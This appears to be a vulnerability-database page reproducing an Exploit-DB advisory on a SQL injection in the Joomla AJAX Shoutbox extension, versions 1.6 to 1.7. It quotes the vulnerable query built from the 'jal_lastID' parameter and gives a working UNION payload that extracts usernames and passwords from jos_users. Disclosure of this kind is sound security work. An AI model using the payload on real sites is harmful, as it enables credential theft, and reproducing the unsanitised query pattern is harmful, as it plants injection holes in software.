Joomla AJAX Shoutbox remote SQL Injection vulnerability

vendor:

Joomla AJAX Shoutbox

by:

Ibrahim Raafat

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Joomla AJAX Shoutbox

Affected Version From: 1.6

Affected Version To: 1.7

Patch Exists: YES

Related CWE: N/A

CPE: 2.3:a:joomla:joomla_ajax_shoutbox

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla AJAX Shoutbox remote SQL Injection vulnerability

A vulnerability exists in Joomla AJAX Shoutbox due to improper sanitization of user-supplied input in the 'jal_lastID' parameter. An attacker can exploit this vulnerability to inject arbitrary SQL commands and gain access to sensitive information from the database.

Mitigation:

The vendor released version 1.7 which patched the vulnerability.

Source

Exploit-DB raw data:

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Joomla AJAX Shoutbox remote SQL Injection vulnerability

[-] Author: Ibrahim Raafat
[-] Contact: https://twitter.com/RaafatSEC
[-] Discovery date: 1 April 2010 [ 4 years ago ]
[-] Reported to vendor : 12 March 2014
[-] Response: Quick response from the developer, Patched and released version 1.7 in the same day
[-] Download: http://extensions.joomla.org/extensions/communication/shoutbox/43

[+] Details:
[-] include "helper.php";
[-] parameter: jal_lastID
[-] Code: 
113	$jal_lastID = JRequest::getVar( 'jal_lastID',		0		 );
114
115	$query = 'SELECT * FROM #__shoutbox WHERE id > '.$jal_lastID.' ORDER BY id DESC';

[-] Exploit: 
?mode=getshouts&jal_lastID=1337133713371337+union+select+column,2,3,4,5,6+from+table-- -

Example:
?mode=getshouts&jal_lastID=1337133713371337+union+select+group_concat(username,0x3a,password),1,1,1,1,1+from+jos_users-- -

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